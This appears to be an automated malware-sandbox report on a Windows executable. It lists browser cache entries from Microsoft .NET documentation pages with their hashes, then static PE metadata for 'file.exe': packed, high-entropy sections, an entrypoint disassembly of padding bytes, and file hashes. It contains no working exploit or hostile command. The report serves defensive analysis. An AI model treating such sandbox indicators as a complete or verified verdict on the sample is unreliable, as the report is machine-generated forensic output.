Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	179356
Entropy (8bit):	5.435190027091877
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVh:Wof3G0NSkNzMeO7z/l3h
MD5:	0F61EF7FBE30EC2928271294A8C024DE
SHA1:	2406F5A322682E63FFD6E4C800279C4A2863C5FA
SHA-256:	C615B312E47BAC8CDD9C379BF267AE6F9B4F17CC86C568280DC94598207AAFC1
SHA-512:	1205F73DFA6D4541E8CE391ED8574278E89620DCE215852D090A8BEB98C3BC994D123F42DCBFE55973418D51AABA413C8A29EB26019606A4A9C6FA320FBEAF0F
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950043219684028
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'841'152 bytes
MD5:	743ae689f70257d7a4ee703c6d9ba24b
SHA1:	9e59fbb68179d85c56bc3a4c6e05d612b9a8436a
SHA256:	35d8eb1936b64a1baadfdf0e8aad44702346acae6b466217ebc09d4cbf2a69e4
SHA512:	9be7822139345914743ae4a5bc7c04e840592deeac8727a350c6d388a9e724d82f0c1b8ad96be77c2acbfa6065431450f24ca99bc9c50ad2fccd13fe924c0ff7
SSDEEP:	49152:weqVLEkCHHsegSEzcSvLuCFdWfLFd5ieg3T1QktATTB:5g9F/vnFdWfLFd5JYT1Z
TLSH:	2885333B3C5BF07BC5FC8BBB18AB8E1AD7F752541E5C812C8278663DD78879A1482164
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$?g.............................PI...........@...........................I.....CF....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x895000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F2404 [Thu Nov 21 12:13:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB558B4C7CAh
psadbw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5805c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x56000	0x26600	bc7138d2759dcef65ac032f2934d883d	False	0.9987085199511401	data	7.976867611725789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x2b0	0x200	39feb9ff3f97bc8d7f8c077293fb6b83	False	0.791015625	data	6.030946322596641	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x58000	0x1000	0x200	c92ced077364b300efd06b14c70a61dc	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x2a3000	0x200	7df48d28e3250d2db952bd01c6aa76c8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zkcxhtkx	0x2fc000	0x198000	0x197600	c36326136cb10a335502fe5f72680181	False	0.9946008888846272	data	7.954509219804239	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
